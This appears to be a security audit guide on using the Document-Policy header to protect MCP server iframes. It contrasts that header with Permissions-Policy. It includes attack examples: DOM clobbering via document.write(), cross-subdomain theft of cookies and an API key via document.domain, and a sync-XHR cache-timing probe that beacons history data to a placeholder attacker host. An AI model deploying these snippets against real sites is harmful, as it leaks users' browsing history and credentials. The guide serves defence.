MCP Server Security · Document Policy · document.write() · DOM Clobbering · document.domain · Sync XHR · Required-Document-Policy

MCP server Document Policy security

The Document-Policy HTTP header is not the same as Permissions-Policy. Where Permissions-Policy governs browser capability permissions (camera, microphone, geolocation), Document-Policy controls document-level DOM behaviors: document.write() (a DOM clobbering entry point), document.domain mutation (legacy cross-subdomain frame access), synchronous XHR (event-loop blocking), and scroll position reset. An MCP server iframe that omits Document-Policy inherits permissive defaults that expose these attack surfaces. Chrome 85+ supports the header; Firefox and Safari have not implemented it.

Document-Policy vs Permissions-Policy: the confusion that creates gaps

The most common misconfiguration SkillAudit sees in MCP server deployments is treating Permissions-Policy as the complete security header for browser capability restriction. It is not. Two separate headers govern two separate feature sets:

## HTTP headers — both must be set for complete coverage

# Permissions-Policy: governs browser APIs requiring user permission
Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=()

# Document-Policy: governs document-level DOM behaviors (DIFFERENT header)
# Chrome 85+ only; must be set separately
Document-Policy: no-document-write, no-document-domain, no-sync-xhr

# They coexist — setting one does NOT imply the other
# An MCP server that sets Permissions-Policy but omits Document-Policy
# still allows document.write(), document.domain, and sync XHR.

The practical consequence: a security-conscious MCP server author who carefully sets Permissions-Policy: camera=(), microphone=(), geolocation=() may believe they have restricted dangerous DOM capabilities. They have not. document.write() for DOM clobbering, document.domain for cross-subdomain frame access, and synchronous XHR for event-loop stalling all remain available unless Document-Policy is also set.

Required-Document-Policy and the downgrade trap. A parent page can set Required-Document-Policy: no-document-write to require that any child iframe it embeds must also declare Document-Policy: no-document-write in its response headers — or the browser will refuse to load the iframe. An MCP server iframe that does NOT set Document-Policy cannot satisfy this requirement and will be blocked. Conversely, an MCP server that does set Document-Policy with only weak directives (e.g., Document-Policy: unsized-media) may be embedded in a parent that assumes stronger guarantees than it actually provides.

document.write() as a DOM clobbering vector

When no-document-write is absent from Document-Policy, an MCP tool output embedded in an iframe can call document.write() to overwrite the entire iframe document, inject arbitrary HTML, and clobber DOM globals. DOM clobbering uses named HTML elements to shadow JavaScript global variables:

// DOM clobbering via document.write() — available when no-document-write is NOT set

// Step 1: Inject named elements that shadow global variables
document.write(`
  
`); // Step 2: After document.write(), globals like window.config are now // references to the injected DOM element — not the original objects. // If legitimate code later does: // const url = config.apiUrl; // ...it reads the attacker-controlled input value, not the original config. // Step 3: For deeper clobbering, use anchor-in-form nesting: document.write(`
`); // In some browsers/contexts: window.location reads the clobbered value // before native property resolution — redirect without navigation API

document.domain mutation for cross-subdomain frame access

The legacy document.domain property allows two documents from different subdomains of the same eTLD+1 to relax their same-origin restrictions and access each other's DOM — if both set document.domain to the common parent domain. Without no-document-domain in Document-Policy, an MCP server iframe at tools.mcp-provider.example and the host page at app.mcp-provider.example can both set document.domain = 'mcp-provider.example' to break the same-origin barrier:

// Cross-subdomain DOM access via document.domain (without no-document-domain)

// In MCP tool output iframe at tools.mcp-provider.example:
document.domain = 'mcp-provider.example';
// Now this iframe can access DOM of any same-domain frame that also sets:
//   document.domain = 'mcp-provider.example'

// If the parent app at app.mcp-provider.example also sets it
// (or is already at the eTLD+1 level):
// const parentDoc = window.parent.document; // same-origin access granted
// const apiKey    = parentDoc.querySelector('#api-key-display').textContent;
// const sessionId = parentDoc.cookie; // reads parent's cookies

// Defense: Document-Policy: no-document-domain
// When set, assigning document.domain throws a TypeError immediately.
// Chrome has also been deprecating document.domain mutation generally,
// but Document-Policy provides an explicit, auditable enforcement mechanism.

Sync XHR: event-loop blocking and timing attacks

Synchronous XMLHttpRequest (xhr.open('GET', url, false)) blocks the browser's event loop until the request completes. This was deprecated for main-thread use but remains available unless no-sync-xhr is set in Document-Policy. MCP tool output can abuse this for timing attacks — measuring how long a blocked request takes to reveal cache state — or simply for denial-of-service by blocking the entire page event loop:

// Sync XHR timing oracle — available when no-sync-xhr is NOT set
// Blocks the event loop; measures response time at microsecond precision

function syncTimingProbe(url) {
  const xhr = new XMLHttpRequest();
  const t0  = performance.now();

  // Synchronous = third argument is false
  // This BLOCKS the event loop until the response arrives
  xhr.open('GET', url, false /* synchronous */);
  xhr.send();

  const elapsed = performance.now() - t0; // microsecond resolution
  return { url, elapsed, status: xhr.status, cached: elapsed < 5 };
}

// Probe cross-origin resources — cache hit vs miss reveals user history
const probes = [
  'https://cdn.example.com/analytics.js',
  'https://fonts.googleapis.com/css2?family=Roboto',
  'https://static.bank.example/login.css'
].map(syncTimingProbe);

// probes[2].cached === true → user has visited bank.example recently
navigator.sendBeacon('https://c2.attacker.example/history', JSON.stringify(probes));

Browser and client support

Browser / ClientDocument-Policy supportDirectives availableNotes
Chrome 85+, Edge 85+Yes (experimental flag graduated to shipping)no-document-write, no-document-domain, no-sync-xhr, force-load-at-top, unsized-media, oversized-images, lossless-images-max-bppRequired-Document-Policy supported for parent-to-child enforcement
FirefoxNot implementedN/Adocument.write() and document.domain still available; no-sync-xhr cannot be enforced
Safari / WebKitNot implementedN/Adocument.domain deprecated separately in WebKit; no Document-Policy enforcement
Electron (Chromium-based)Yes — same as Chrome version bundledSame as ChromeElectron 22+ (Chrome 108 base) has full Document-Policy support

SkillAudit findings

Medium MCP server HTTP responses missing Document-Policy header — defaults allow document.write(), document.domain mutation, and synchronous XHR in tool output rendered in Chrome/Edge; Permissions-Policy alone does not cover these document-level capabilities
Medium Tool output using document.write() for DOM injection — when no-document-write is not enforced, MCP tool output can overwrite the document context, inject named HTML elements that clobber JavaScript globals, and redirect subsequent property lookups to attacker-controlled values
Low Tool output assigning document.domain without no-document-domain in Document-Policy — enables legacy cross-subdomain DOM access between MCP tool iframes and the host application if both are on the same eTLD+1 and both mutate document.domain
Low Synchronous XHR allowed in tool output without no-sync-xhr — blocks the browser event loop during request, enabling timing side channels for cross-origin cache state inference and denial-of-service against the MCP client UI responsiveness

Related: Content Security Policy Bypass Security · Trusted Types API Security · Run a SkillAudit →